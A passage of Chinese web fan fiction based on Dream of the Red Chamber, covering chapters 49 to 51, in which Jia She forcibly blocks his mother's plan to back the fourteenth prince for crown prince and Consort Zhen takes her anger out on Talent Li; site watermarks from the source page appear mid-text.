张氏解释道:“如今呼声最高的便是瑜妃娘娘所出的十三皇子和贵妃娘娘所出的十四皇子,但是圣上一直没有打定主意,朝堂上还在争执!” 贾赦脸色愈发难看起来:“难不成甄家找到咱们府上来了?” 张氏无奈地点了点头:“我也不知道甄家跟老太太许诺了什么,不过,听说相谈甚欢,便是二弟妹也颇为欢喜!” 贾赦一脚踹开太师椅,脚趾头都被撞得生疼,脸上肌肉都跟着扭曲起来,他也顾不得了,冷笑道:“好哇,为了老二一家,是打算将咱们一府的身家性命都填进去了!” 他围着书房团团转了两圈,神情愈发阴晴不定起来,很快,他便扬声叫道:“陈福,给本老爷进来,老爷有事吩咐!” 一个看起来平平无奇的管事不知道从什么地方冒了出来,在书房门口行礼道:“陈福见过 老爷、太太!” 贾赦冷声说道:去,召集亲兵,将荣国府各个门都围起来,再来几个人,跟我一起去荣庆堂! ?本作者微云烟波提醒您《红楼太妃要躺平》第一时间在.?更新最新章节,记住[( 陈福一惊,忙说道:“老爷,我等都是外男,不方便近内院吧!” 贾赦咬牙切齿地说道:“都这个时候了,还什么方便不方便的!你们尽管进去,哪个丫头敢拦着,回头就赏了你们!” 陈福见贾赦已经下定了决心,当下也不再多劝,当下就出了门,匆匆召集贾代善留下的那些亲兵去了。 自从贾代善去世之后,他们这些亲兵就被边缘化了。 贾史氏并没有怎么见过这些人,对这些人也没什么印象,如今管家的又是王氏,王氏琢磨着家里又没人从军,留着这些亲兵有什么用,因此,直接将应该发给这些亲兵的月钱给扣了。 张氏听说之后,就接手了这些人,后来贾赦从金陵回来,又跟他说了。贾赦却是知道这些亲兵的厉害之处,他们父祖辈就跟着老荣国公一路从尸山血水里头爬出来,贾代善当初在外征战,也是他们在旁护卫。可以说,这些人就是荣国府的部曲,真到了不得已的时候,他们是能豁出性命护着家主杀出一条血路去的。 贾赦其实也不是什么缺钱的人,因此,便将人都养了起来,这会儿瞧着贾史氏失心疯了,竟是想要掺和到夺嫡之事里头,贾赦觉得就算是自己去荣庆堂大闹一通,自家这位亲妈大概也就是当时敷衍自己一番,回头该如何还是如何,毕竟,自己不可能时时刻刻盯着贾史氏的人,何况,还有个王氏呢! 与其如此,不如釜底抽薪,叫贾史氏再也没有对外联络的能力! 陈福的速度很快,不多久,就召集全了人手,带着人先封锁了府里几处门户,然后,贾赦就带着一小队人,气势汹汹地往荣庆堂去了。 荣庆堂那边,贾史氏还在得意,自觉自己做了一桩好买卖,结果就听说贾赦带着人过来了。她皱了皱眉,转头看向了搂着元春,笑成了一朵花一样的王氏,问道:“你那边消息走漏了?怎么就叫大老爷知道了?” 王氏顿时有些慌,有些人,那是真的成事或许不足,坏事绰绰有余,贾赦就是这样的典型。王氏原本想着自己的女儿将来能当皇妃,说不定还能当皇后,当太后,自己可能会有个皇帝外孙,只恨不得睡觉都能笑出声来。但是若是叫贾赦将这事搅黄了,那可就尽数泡汤! 王氏赶紧说道:“老太太,您这就冤枉媳妇了,媳妇自然知道这事何等紧要,连伺候的下人都没告诉,怎么会走漏消息!” 贾史氏看着王氏的眼神还有些狐疑,不过这会儿也不是推脱责任的时候,当下皱眉说道:“你先带着元春到后头去,没事就别出来!” 王氏当下点头称是,慌慌张张地带着元春躲后头去了。 贾史氏平复了一下呼吸,自觉自己已经做足了心理准备,然后便吩咐道:“请大老爷进来吧!” 之前贾史氏说是将琥珀赏给贾赦,贾赦才不会让自己身边多个亲妈的眼线,直接拒绝了, 以至于琥珀如今还在贾史氏身边伺候,这会儿听到大老爷来了,不免有些尴尬。 然后就听到外面几个婆子说道:“大老爷,老太太只让您进去,您怎么能带着这些人进来!” “滚开!”贾赦如今哪里将这些婆子放在眼里,他甚至懒得自己动手,旁边那些亲兵就是直接将腰刀抽出一截,这些婆子何曾见过这样的场景,当下不敢乱动,眼睁睁地看着贾赦带着一队人闯进了荣庆堂。 贾史氏听到动静,只气得浑身哆嗦:“你这逆子,难不成到这里来抄家不成!” 贾赦冷笑道:“凭老太太你的做派,今儿个不是我来,明儿个来的就是锦衣卫和顺天府的衙役了!” “你说的这叫什么话!”贾史氏抄起手边的茶杯就往贾赦身上砸去,贾赦也不闪避,直接一挥袖子挡了下来,茶杯落到地上,里头的茶水将地上的卍字不断头团花羊毛毡子都给打湿了。贾赦一脚踩上去,原本因为落在毡子上没有打碎的茶杯直接裂成了几块,被他一脚踢开。 “好哇,你这孽障,耍威风耍到我这里来了!”贾史氏颤颤巍巍地站起来,抄起放在一边的沉香拐杖就往贾赦身上砸。 贾赦阴沉着脸,直接抓住了拐杖:“老太太,我今儿个过来是来好好跟你说话的,你别逼我撕破脸!” 琥珀哆嗦着扶着贾史氏重新坐下,勉强挤出一个难看的笑容,说道:“大老爷,您有话好好说,老太太年纪大了,受不得惊吓!” “哼,老太太受不得惊吓,我看是我受不得惊吓才对!”贾赦满肚子都是怨气,两只眼睛直溜溜地盯着贾史氏,咬着牙问道,“老太太,我就问您一句话,今儿个甄家人过来,跟你说了什么?” 贾史氏还想要糊弄过去,便故作无事道:“甄家是咱们家老亲,他们家有人上京来,到府里给我老人家请个安,不是理所应当的事情?” 贾赦神情愈发阴沉下来,几乎是从牙缝里挤出一句话来:“老太太,到了这个地步,你还想要瞒着我?” 贾史氏气道:“什么瞒着你,人家过来给我老婆子请个安,难不成都碍着你的眼了?” 贾赦冷笑起来,直接从百宝阁上抄起一只汝窑粉彩海棠瓶,就往地上一摔,碎片四溅,其中一块碎片溅到了贾赦手背上,直接将他手背划开了一道口子,血滴滴答答流了下来。 贾赦也不擦拭,又抄起一只珐琅底翡翠葡萄盆景,高高举起,贾史氏瞧着贾赦这副发狠的模样,也坐不住了,忙叫道:“赦儿,你快放下,有什么话好好说!” 她这回是真有些怕了,倒不是心疼东西,若是家里真能出个皇妃乃至皇后,这点东西算得了什么,她怕的是,将贾赦惹急了,将东西直接砸她头上,大家同归于尽。 贾赦这才将手里的翡翠葡萄盆景放回原处,抽出帕子擦了擦手上的血迹,说道:“行,那老太太您就好好跟我说一说,今儿个甄家过来,到底是为了什么?别以为我待在自个家里就什么都不知道,您要是再想要瞒着我,别怪我一拍两散!” 贾史氏示意下人过来先收拾一下残局,有气无力地说道:“既然你知道了,那还问我做什么?” 贾赦一听,只觉两眼直冒金星,牙齿都咬得咯嘣作响:甄家想要推十四皇子做太子,老太太您是不见兔子不撒鹰的主,他们答应了您什么?②_[(” 贾史氏犹豫了一下,瞧着贾赦眼珠子都变得通红,俨然一副择人而噬的模样,赶紧说道:“他们说日后十四皇子做了太子,咱们家可以出一个太子侧妃,太子登基就可以做贵妃!” 她这会儿还在耍心眼,没说甄家选择的是元春,可是,如今荣国府这一代就元春一个女孩子,等贾赦有女儿,还不定得什么时候。贾赦又不傻,这会儿差点没气得笑出声来:“老太太,您这是彻头彻尾地把我当傻子啊!当初东宫还是正经的太子,我去詹士府都被你说成是祸害家族,如今十四皇子还不是太子呢,您就这么硬凑上去,这又算什么!” 贾史氏急道:“甄贵妃宫中独宠,甄家又联络了诸多文臣在朝堂上为十四皇子鼓吹,如今甄家就缺了几家勋贵的支持,就能压过拥立十三皇子的那一派,哪里还有什么风险?” “老太太,您这是老糊涂了吧!”贾赦嘿嘿冷笑起来,“还是说,您光想着老二一家得到的好处,却没想过,站错了队,付出代价的主要是我这个老大?” 说到这里,贾赦忽然一个示意,几个亲兵直接气势汹汹地往里间走去,直接将躲在后头的抱着元春的奶娘和王氏赶了出来。 “你要做什么?”贾史氏一见不好,忍不住惊叫起来。 贾赦冷声说道:“老太太,您也知道,我这个人胆子小,不敢做什么忤逆不孝的事情,您是家里的老封君,您就算是非要将咱们一家子拖进沟里,我也没办法!不过,我拿您没办法,难不成拿老二一家也没办法不成?” 他看向了这会儿已经吓得哭出来的元春还有色厉内荏的王氏,露出了一个叫人心惊胆战的笑容。 “大老爷,元春要是做了皇妃,咱们一家都有好处啊,到时候大老爷你说不定能跟着晋封呢!”王氏瞧着贾赦一副要杀人的样子,这会儿反倒是不笨嘴笨舌了,赶紧开始空口许愿起来! 贾赦只觉好笑:“你是拿我当傻子,还是怎么回事?元春真要是做了皇妃,你们二房还不立刻把我们大房给扫地出门?还晋封!” 贾赦收了脸上的笑,看着抽抽噎噎的元春,慢吞吞说道:“之前没怎么多看,如今看起来,元春这丫头的确是个美人胚子,难怪你们觉得她有造化呢!” 王氏还以为贾赦动了心,连忙说道:“大老爷说的是,我们元春生得好,八字又好,都说她是个有造化的,如今这不就是个机会吗?” 贾赦却是笑呵呵地看着元春,甚至用手却摸了摸元春的脸,动作有些猥琐,说出来的话却叫人不寒而栗:“老二你们两口子生得只能算是端正,倒是生了个漂亮丫头!不过,要是在这小嫩脸上划那么一刀,这破了相,甄家那边还能认账吗?” “你,你 想干什么?”王氏从奶娘手里夺过元春,看着贾赦的眼神很是惊惧。 贾赦笑呵呵说道:我能干什么呢?反正我也明白了,你们一个个都是有主意的,我也拦不住你们,不过,别的也就罢了,我坏事的本事还是有的! ?微云烟波的作品《红楼太妃要躺平》最新章节由??全网首发更新,域名[( 他眼睛看着贾史氏,言语平淡中带着十足的杀机:“我虽说空有个爵位,但是朝堂上的许多规矩,我还是知道的。这有了残疾或者是破了相,便是个男人,也是做不得官的!老二出了孝,该去工部任职了吧,到时候若是一个不小心,摔个一跤,摔断了腿,到时候一双长短腿,也没脸面继续去工部了吧!” 贾史氏气得嘴唇都哆嗦起来:“你,你敢?” 贾赦无所谓地说道:“你们做初一,我做十五,有什么敢不敢的!你们想要从龙之功,我就让你们就算是赌赢了,也没有前程可言!我倒要看看,你们肯不肯叫我们大房捡这个便宜!” 贾史氏直接站起身来,叫道:“给我更衣,我要去敲登闻鼓,我要见圣上,家里有这么个忤逆不孝的儿子,我还活个什么劲啊!” 贾赦也跟着叫道:“来啊,也给本老爷将朝服拿过来,本老爷也要见圣上!爹啊,你怎么死得那么早,你活着的时候跟我说,咱们一家要忠君体国,只要跟着圣上,圣上绝不会叫咱们吃亏!结果你这么一走,老太太就想着左右逢源啊!儿子拉不住老太太,只能陪着老太太一起去死了啊!”说着,他竟是哭嚎起来。 贾史氏这回是真的撑不住了,两眼一翻,软倒在地,整个荣庆堂顿时乱成一团。 王氏叫道:“快,快请太医,就说大老爷把老太太气晕了!” 她到了这个时候还耍小聪明呢,结果贾赦压根不拦着,也跟着叫道:“去啊,快把太医请过来,就说老太太非要本老爷上折子支持十四皇子做太子,本老爷不肯,老太太就气晕了!忠孝不能两全,本老爷也只能不孝了!” 许多事情就是那么回事,不上称,那就二两重,一上称,怕是千斤也打不住!这等夺嫡从龙之事,根本就不能拿到台面上说,朝堂上那些臣子,就算是要拥立太子,也只敢说是为了国本,最后还得加一句伏惟圣裁,谁敢说一定要让某某做太子,你这是不要命了吧! 贾赦这话一说,王氏都傻了,贾史氏迷迷糊糊醒来,听到这话,又差点晕过去!! 第 50 章 眼瞅着贾赦明摆着一副你敢死,我就敢埋的架势。你要是敢不经我的同意跟甄家勾搭上,我也不找老太太,我就盯着你们二房。 你们二房不是想要借此飞黄腾达吗?我直接打残了贾政跟贾珠,划花了元春的脸,我看你们能不能再现生一个合适的丫头片子出来!就算生下来了,谁家会要两个残废做国丈和国舅! 贾史氏算是被彻底拿捏住了,贾赦就一句话,忠孝不能两全,立马就将她给打回了原形。她敢告贾赦不孝,贾赦就敢宣扬她不忠。一个该颐养天年的老太太,居然心大到想要掺和到立储之事里头,这不是不忠,又是什么? 贾史氏不得不退还了甄家的礼物,甚至还额外送了许多,跟甄家那边解释,这事被贾赦知道了,贾赦拿着二房一家子的性命要挟她,她实在是没办法。 甄家那边只气得半死,却也没有办法,只得叫人给宫里甄贵妃传话。 甄贵妃也没想到贾家内部已经不和到这个地步,贾史氏居然压制不住贾赦,她在宫里摔打了半天,最终也是无可奈何。 “你是说,贾恩侯跟代善他夫人吵起来了?”圣上倒是没有失望四王八公没能内讧,毕竟,贾家那边也没支持徒宏轩不是。他感兴趣的是,贾赦居然雄起了一把。 贾赦也算是圣上看着长大的,大一点之后进出宫廷的频率比不少皇子都高,他虽说想要打压勋贵,但是对贾赦之前表现出来的窝囊也很是失望。你是贾代善的儿子,老荣国公贾源亲自抚养长大的荣国府世子,怎么着就被一个无知老妇给拿捏了! 他却是不想想看,要不是他当初先是给贾赦赐了个恩侯的字,给了他莫大的期望,结果轮到他袭爵的时候,连个子爵都没捞到,只剩下个一等将军。贾赦完全是被圣上给吓着了,又被贾史氏CPU了一把,觉得自己对不起祖宗,对不起家族,这才只能是醉生梦死。 这会儿雄起,同样是因为这个缘故,他宁可一大家子都在朝堂上做边缘人,也不想再掺和到皇位之争中去,哪怕徒宏憬有九成九上位的可能,可当初的义忠亲王不照样被逼到宫变的地步了吗? “代善这个人啊,英雄了一辈子,偏生摊上个蠢妇!”之前听说贾史氏偏宠次子,不喜欢贾赦这个长子,圣上就觉得她愚蠢,这种事情,你可以做,但是在外头还是得表现得公平合理的,要不然,不是明摆着要祸起萧墙?结果贾代善治军倒是有一套,治家简直叫人没眼看,那叫一个优柔寡断,心慈手软!以至于他一死,居然就叫他媳妇将一家子给拿捏住了。她要是有吕后武后那样的眼光本事,也就罢了,又是个目光短浅的,也亏得贾恩侯居然还撑住了,要不然这一大家子,迟早被这蠢妇带进沟里。 虽说欣赏贾赦喊出的“忠孝不能两全”,但是圣上也没有额外恩赏贾赦的意思,毕竟,忠君这种事情,那不是应该的嘛!倒是那个贾政,居然只惦记着自家儿女的前程,丝毫不想想看,他一个至今读书都没读出名堂的废物,还是自己给了他一个官职,居然 现在就想要拥立新君了! 圣上在心里的小本本上给贾政记了一笔,贾政的仕途生涯只怕要愈发艰难了。 自从王氏管家之后,荣国府那些下人的嘴简直就跟筛子一样,哪怕贾史氏严令当日的事情不许外传,但是外头没多久还是隐隐戳戳知道了一些消息。 史家那边如今当家的是贾史氏的兄长,这位史侯爷听说消息后,差点没背过气去!要不是怕自投罗网,他都想要直接上请罪折子了! 史侯爷真不知道,自己这个妹妹都这么大一把年纪了,居然还能这么折腾。你也不看看,最近朝堂上,掺和这件事的都是些什么人,真正的大佬有一个下场的吗?圣上选谁做太子,那是他的事情,他选好了,你山呼万岁就行了!新君登基,难道还能清算那些当时没站队的人?那朝堂上还要不要人干事了! 史家如今依旧在军中发展,像是他们这样的人家,最忌讳的就是掺和到夺嫡之事中,如今见贾史氏这般不晓事,史侯爷只觉如坐针毡,几乎是第一时间就杀到了荣国府。 贾史氏这些日子心里不自在,打着养病的旗号躺在屋里,折腾着王氏和张氏来侍疾。 张氏如今也懒得继续做什么孝顺媳妇,她到了荣庆堂,立马就往旁边一坐,然后将荣庆堂的丫头指挥得团团转,这个捏肩,那个捶腿,这个扇火,那个煎药……你要说她只会动嘴,不够孝顺,等到给贾史氏喂药的时候,她又亲自上前,摆出一副亲尝汤药的模样,自个先喝一点,然后用小银勺一点一点给贾史氏喂药。中药这种东西,除非是那种饮子,否则入口不会是什么好滋味,大家惯常做法是几口喝下去,然后用清水漱口,还可以含一块蜜饯冲一冲嘴里的苦味。而张氏殷殷切切地一点一点喂给贾史氏,一碗药能吃一盏茶时间,叫贾史氏有苦说不出。 几次之后,贾史氏就不折腾张氏了,那纯粹是折腾自己,最终又只能折腾王氏。王氏可不敢跟张氏一样操作,张氏是无欲无求,贾赦还跟贾史氏闹翻了,二房这边,不管要做什么,都需要贾史氏在背后背书,真要是惹得贾史氏不高兴,人家表示,你们二房也不孝顺,给我滚蛋,二房就要抓瞎了。虽说这个可能性很小,毕竟,在已经跟大房闹翻了的情况下,贾史氏只会愈发支持二房。可当初谁也没想到贾赦居然也敢翻脸,王氏也不敢保证贾史氏不会翻脸。 因此,王氏这些日子对侍奉贾史氏的事情,那叫一个亲力亲为。她虽说如今还算是年轻,但是从小到大,也都是锦衣玉食,娇生惯养过来的,如今叫她如同那些丫头伺候自己一般伺候贾史氏,贾史氏还有意为难,只折腾得王氏腰酸背痛,身心俱疲。每每回去,还只敢在被窝里将贾史氏诅咒一番。 贾史氏听说自家兄长过来,还以为史侯爷是来给自己撑腰的,顿时也不觉得有什么地方不适了,张口就向史侯爷告状:“兄长,你是不知道,你那大外甥如今是个什么做派,竟是直接跟我这个做母亲的顶上了……” “我不觉得恩侯有什么错处!妹妹,你如今也这把年纪了,我也不好 说你,只是以后你再有这种事,就不要怪我这个做兄长的,不认你这个妹妹!”史侯爷见贾史氏竟是丝毫没意识到自己的错误,当下打断了贾史氏的话,恶狠狠地说道。 “兄长,你这是什么意思!”贾史氏一听,顿时又急了,“我不是为了这个家好吗?老大老二都是不成器的,等着珠儿他们成长起来,还不知道要等到什么时候。只要帮贵妃娘娘一把,以后咱们家就是正经的皇亲国戚,又能保证几代的富贵!” “你糊涂!”史侯爷愈发疾言厉色起来,“这话是你能说的吗?还皇亲国戚,别说贵妃娘娘究竟能不能如愿,就算是如了你们的意,那又如何?不说义忠亲王的母族当年如何,便是圣上的母族,之前的承恩公府,现在又如何了?咱们几家能有今日,那是战场上杀出来的,是勤于王事得来的,不是靠着裙带关系才有的!你想要光耀门楣,就算是恩侯存周这一代不行,瑚哥儿,珠哥儿都是聪明孩子,再不济,你们府上得爵位还能再袭一代,难不成到了下一辈,还没个出息的吗?若真是如此,便真的是皇亲国戚又有何用,宗室尚且五代而斩,你们还想要代代富贵?想的什么美事呢!” 贾史氏还是有些不服气,只是瞧着兄长盛怒的模样,只能暂时低头:“兄长之意,妹妹明白了,妹妹之后定当督促他们读书上进……”心里却想到,真要是读书出仕,考到三鼎甲,起步最多也就是个从六品,这点小官,算得了什么。之后还不知道会是什么样子,绝大多数一辈子都在五六品厮混,有什么前途可言。 贾史氏这话口不应心,史侯爷哪里看不出来,他愈发心累起来,对这种短视还固执的人,你是真没什么好说的,他叹了口气,说道:“我之前已经说了,你都是这个年纪的人了,妹夫走了,我这个一年到头也见不到几次的兄长也管不得你,你也好自为之吧!你不顾及自家儿孙的后路,我们史家这边却也不想被你连累!以后若是再有这等事情,别怪我这个做兄长的无情!” 说着,史侯爷连茶都没有喝一口,直接拂袖而去。他原本还想去安抚一下贾赦,但是在跟贾史氏这般对话之后,他都觉得没脸去见自己这个大外甥了。倒是贾政想要跟这个大舅舅亲近一下,哪知道等他过来的时候,史侯爷已经走远了。 “母亲,大舅舅这是?”贾政有些不安地看向了贾史氏。 贾史氏被史侯爷之前那番言语气得到现在都还没平复下来,她咬牙说道:“他啊,来给你大哥抱不平呢!” 贾政虽说才具不足,有的时候还缺了一点自知之明,又是个没什么决断的,但同时,他也是个耳根子软的。之前听贾史氏的言语,觉得推举徒宏憬是一件好事,后来贾赦发疯了一番,又觉得贾赦说得其实也不错(这当然不是因为贾赦威胁要打残他),如今看起来,连史侯爷也不赞同此事,那么,这事只怕的确有问题。 只是瞧着贾史氏的脸色,贾政又不敢吭声了,只得说道:“不管怎么说,此事已经作罢,母亲也先放下吧!要不然,岂不是叫外头人看了咱们家笑话!” 贾史氏瞧着贾政这副样子,愈发生气起来,最终又化作了无力,摆了摆手,说道:“罢了罢了,事情都已经到这个份上了,还有什么好说的!唉,这般出尔反尔,以后我都没脸再见老亲了!” 贾政见贾史氏偃旗息鼓,也是松了口气,又问候了一番贾史氏的身体,表达了自己的关心之意,这才老老实实退下了。 送走了贾政,贾史氏心累地躺倒,见王氏小心翼翼地过来,顿时有些不耐,摆了摆手:“罢了,这几日也辛苦你了,我小憩一会儿,你也回去歇着吧!” 王氏根本没有多想,如蒙大赦一般,利索地回去了。 荣国府这一番动静也直接影响了其中的格局,以前大家都不拿大房当回事,觉得如今大老爷已经是过去式了,府里的主人是老爷一家,对二房各种奉承讨好。结果如今发现,大房才是真的硬气,惹恼了大房,人家说打就打,说卖就卖,便是老太太也毫无办法。 大房有威,二房有利,荣国府一帮下人如今竟是开始左右逢源起来。 贾瑚在王府这边上课按照朝廷的休沐日放假,这日回家,就发现家里气氛有些不对劲,问张氏和贾赦,都没得到什么答案,只叫他老老实实读书,不要管家里这些事情,一切有他们这些做大人的做主。 等假期结束,到了王府,贾瑚就忍不住问徒嘉钰:“我这次回去,感觉家里有些不对劲。我去给祖母请安,祖母屋里的那些姐姐嬷嬷忽然变了好多,弄得我好不习惯!” 贾瑚还模仿着几个丫头的语气表演给徒嘉钰看,然后露出一个有些恶寒的神情:“我觉得以前那样就挺好的,如今这般,真是叫人浑身发毛!” 徒嘉钰疑惑地看了贾瑚一眼,惊讶道:“你竟是不知道吗?” 贾瑚有些茫然:“知道什么?” 徒嘉钰压低了声音,说道:“我听说,你父亲不知道因为什么,跟你祖母闹翻了,可能是因为这个,把你祖母那边吓着了!你祖母都多大年纪了,以后你们府里头就是你们大房当家,他们自然得巴结你们!” 徒嘉钰虽说年纪小,但是因为将来是王府的继承人,府里现在很多事情,顾晓都不避着他,因此也晓得了不少所谓的人情世故。 贾瑚也是一时没想起来,他其实是真正经历过这些的,贾代善在世时候的众星捧月,贾代善卧床时候的门庭冷落,只不过他很快就得到了安慰,如今听到徒嘉钰的话,顿时有些沉默起来。 贾瑚忍不住叹了口气,然后忍不住问道:“我父亲竟然跟老太太闹翻了,是为什么啊?” 徒嘉钰摇了摇头:“你们家的事情,你都不知道,我哪知道啊!” 他如今还挺庆幸,自己没摊上贾瑚那样的祖母,他几乎没怎么见过李才人,也难怪有这样的感慨,否则的话,就要觉得自己跟贾瑚同病相怜了。 而宫里的李才人,如今处境却不太妙。 徒宏远在世的时候,她偏向娘家侄女,对顾晓这个正牌儿媳妇并不当回事,毕竟,她在宫里也 享受不到顾晓的孝顺,自然更倾向与自己有血缘的李氏。 如今徒宏远不在了,没了徒宏远的贴补,顾晓只是年节的时候,往宫里送一些东西,比起当年徒宏远给的,无论是数量还是质量,那都差了不止一个档次。 这也就罢了,李才人这些年因为徒宏远的贴补,还是存下了不少私房的,顾晓给的虽然不多,但是再加上她作为才人的俸禄,起码在低位妃嫔中,日子可以过得不错了。 可是,由俭入奢易,由奢入俭难。李才人以前仗着有个儿子,在低位妃嫔圈子里头素来耀武扬威,各种拉踩,如今徒宏远死了,儿媳妇显然不待见她这个婆婆,李才人的日子顿时难熬起来。 这也罢了,那些低位妃嫔大多无子无宠,最多也就是嘴上挤兑一下李才人,叫下头的宫人抢在李才人前头将更好一点的菜挑走罢了。真正叫李才人倒霉的还是甄贵妃。 贾史氏放了甄贵妃的鸽子,自然得推卸责任,光说是大儿子混账还不行,又说其实贾赦就是个糊涂蛋,在家都是听他媳妇的。张氏因为娘家倒霉,贾家却没有帮忙的事情,一直对她怀恨在心,因此就在背后撺掇贾赦跟她这个婆婆对着干,偏生张氏背后还有平王府和隆安侯府撑腰,她也拿张氏没什么办法。 甄贵妃也不是什么精明强干的性子,作为一个从小到大没吃过亏的女人,她擅长的一个能力就是迁怒,而且还有能力迁怒。 隆安侯府甄贵妃是管不了的,顾家虽说也是江南人士,但也不在甄家权势的辐射范围之内,可平王府就不一样了,甄贵妃虽说不好将手伸到外头王府里去,但是宫里还有个李才人呢! 甄贵妃也不清楚李才人其实跟顾晓关系不好,她看看往年的记录,平王府三五-不时就往宫里送东西,都是给李才人的,就算是最近少一些,那也可以解释为在守孝的缘故。所以,就是李才人了! 李才人生了个儿子,宫里几度晋封,都没能更进一步,可见她在圣上那里小透明到什么地步。要是对付什么曾经的宠妃,甄贵妃还得顾忌一下,毕竟,人家曾经也还是圣上心里的小甜甜,回头觉得受了委屈,跑到圣上那里说圣上有了新人忘了故人,还放纵新人来欺负自己,圣上那边也交代不过去。 可林才人算什么东西,甄贵妃打听了一下林才人的生平之后,就对这位嗤之以鼻,这位虽说不至于满手好牌,但也是有些运道的,偏生一直就没抓住过机会,以至于都这个年纪了,还得跟那些低位妃嫔厮混,甚至连那些小丫头片子都玩不过。 甄贵妃都不需要多费脑筋,很快就抓住了李才人的一个把柄。 李才人自诩有儿子,资历深,便是对上比她地位略高一些的美人婕妤,也是不怎么放在眼里的。以前大家懒得理会她,尤其后来宫中就是甄贵妃独宠,其他妃嫔各自还掌握了一部分宫权,下头这些小妃嫔也只能是圈地自萌,也怕闹出什么是非来,对林才人的那些出格之处都睁只眼闭只眼。 可如今甄贵妃既然有意,李才人的那些错处顿时就被揪出来了。 先是在御花园散步的时候遇到徐美人,竟然只是敷衍地行了个礼就走了,之后又因为一点琐事,跟陈才人拌了几句嘴,还打了陈才人身边宫女一个耳光。甄贵妃直接就拿着这两件事说李才人不懂规矩,不知道上下尊卑和亲亲睦睦的道理,命李才人抄写宫规百遍,抄完之前,在自个屋里禁足。 天可怜见,李才人本来就是个不识字的,进宫多年也没奋发上进到读书识字的地步。也就是刚进宫那会儿跟着女官背过几次宫规,这都多少年过去了,宫规认识李才人,李才人不认识它! 现在要她抄写宫规百遍,那真的跟要了李才人的命没什么两样。 李才人也没想到这事是外头顾晓惹来的,只以为自己是被徐美人和陈才人告了刁状,只气得不行。可是她这个身份,想要去甄贵妃那边喊冤,都有些不足,只能老老实实在宫里抄写宫规。 结果甄贵妃居然还派了个女官过来看着她,见她抄得不好,便说她毫无对宫规的敬畏,不知悔改,必须重写。可怜李才人拿针线还行,让她写字,小小一支笔到了她手里,简直是重若千钧,光是捏着就足够费力了,这写字又不能像是描花样子一样,想要写得工整,那真的是比登天还难。 李才人被折腾得生无可恋,甄贵妃却根本没把她放在心上,她还在琢磨着怎么样才能将自个儿子推到太子的位置上去。她如今已经跟瑜妃彻底对上了,两人在后宫针锋相对,徒宏轩和徒宏憬原本在弘文馆还能保持相对和睦的兄弟关系,如今互相之间俨然已经有了火药味。连同弘文馆里,如今也开始有了站队的趋势。! 第 51 章 弘文馆里读书的就是皇子皇孙还有一部分宗室,再加上这些人的伴读。 宗室其实一向是不站队的,因为站队对他们来说没有丝毫好处。谁当皇帝,他们都是宗室,不会因为这点所谓的从龙之功得以多沿袭一代。但是如今,徒宏轩和徒宏憬两人俨然已经对上了,他们原本因为自身的身份,在弘文馆里就是领头的,其他人想要在弘文馆里厮混,想要严守中立,几乎是不可能的事情,或多或少都得偏向一方。 徒宏轩和徒宏憬两个小屁孩也不懂什么统战工作,他们反正就是非此即彼,谁敢搞什么中立,他们就搞小团体孤立人家。 只要有心,在学堂这种地方坑人很简单。涂改破坏人家的作业,往人家书包里头塞点不该放的东西,上课的时候干扰人家的思路,下课的时候再“联系一下感情”…… 对于这些出身尊贵的天家子弟来说,玩一点校园霸凌,那真的是再自然不过。而对于那些宗室子弟来说,他们就很倒霉,身份比不上这些皇子,遇上被强迫站队,年纪又小,压根想不到别的办法,除非乐意被先生批评,连累伴读三天两头被先生打一顿手板,撵到外头背书,否则的话,只能低头。 只不过,小孩子不懂事,难道大人也不懂吗?等到休沐的时候,一帮小孩子回了家,跟家长一告状,顿时,宗室也坐不住了。 愉王也是先帝所出,作为圣上的亲兄弟,他原本日子过得还是比较舒服自在的。他当年也没有更进一步的野心,封王之后就老老实实做自己的太平王爷,圣上登基之后,对于他这样安分的兄弟也多有赏赐。像是愉王这样的宗室王爷,想要的无非就是平平安安享受一辈子的富贵,儿孙正常袭爵,至于五代之后如何,他也管不了那许多。 这次被牵扯进去的是愉王世子,这是愉王府的第二个世子了,头一个是王府的嫡长子,长到十二三岁的时候,却不幸染上了天花,没能熬得过去。如今这位世子差不多算得上是愉王妃老蚌怀珠生下来的,被愉王夫妇二人看得眼珠子一般。 如今好好的孩子从弘文馆回来就开始惊悸做噩梦,半夜不能安枕,他们问了半天才知道发生了什么事,只将愉王气得不行,当下就命人给自己更衣,他要进宫面圣,找圣上讨个公道。 愉王气势汹汹地进了宫,实际上到了御书房门口,他已经冷静下来了,但还是装出一副气愤的模样。 当值的太监见愉王这副模样,也有些惊讶,毕竟这位素来除了必须出席的场合之外,等闲根本见不到他人,如今这般进宫,只怕有什么大事,连忙问道:“王爷是要面圣?” 愉王点了点头,深吸了一口气,问道:“烦请公公进去禀报圣上,就说本王有事求见!” 那太监有些为难,不过还是说道:“王爷,奴婢倒是可以通传,只是还得劳烦王爷去偏殿等候,实在是这边还有好几位大人候见呢!” 愉王挤出一个笑来,说道:“多谢公公提醒,那本王就去偏殿等着!”说着,又塞给那 太监一个荷包,那太监略微捏了捏,里头是几个圆滚滚的东西,应该是珍珠,这么大的珍珠,那真的是价值不菲了,可见这次愉王过来,只怕事情不小。 不过,一个不牵扯朝政的宗室王爷,又能有什么大事呢,这太监熟练的将荷包藏到了袖子里,脸上笑得愈发谄媚起来:“王爷先去偏殿略坐片刻,奴婢这就进去!”说着,一边引着愉王进了偏殿,偏殿里头果然有几个朝臣在等候,愉王跟这些人也不熟,直接捡了个上首的位置坐了,立马就有小太监端了茶送过来。 当值的太监也从偏殿一侧往御书房里而去,圣上这会儿正在接见进京述职的两广总督,旁边伺候的戴权瞧着自己的干儿子进来,不由皱了皱眉,不过还是悄声过去,压低声音问道:“皇爷正忙着呢,你又进来作甚?” 那太监赶紧说道:“干爹,是愉王爷进宫了,看他那样子,好像是有什么要事求见皇爷!” 戴权点了点头,说道:“行了,你先下去吧,一会儿咱家便跟皇爷说!” 不多久,圣上跟两广总督将该说的话也都说了,又勉励了一番,将早就准备好的赏赐也赏了下去,两广总督感激涕零的躬身告退。等着人出了门,戴权就上来说道:“皇爷,愉王爷有事求见!” 圣上也是一愣,愉王是他的亲兄弟,但是等闲也是不会跑宫里来的,他也怀疑出了什么事情,当下便说道:“既然如此,先叫愉王进来吧!” 愉王进来就先大礼参拜,圣上赶紧说道:“都是一家骨肉,这般多礼作甚!戴权,给愉王搬张椅子过来!” “圣上,礼不可废!”愉王还是坚持行完了大礼,这才又谢了圣上赐座,坐到了椅子上。 圣上见愉王神情严肃,似乎还带着几分郁气,便问道:“不知王弟此来,有何要事?” 圣上这话一开口,愉王就从椅子上站了起来,露出了悲戚之色:“皇兄,臣弟还请皇兄做主!” 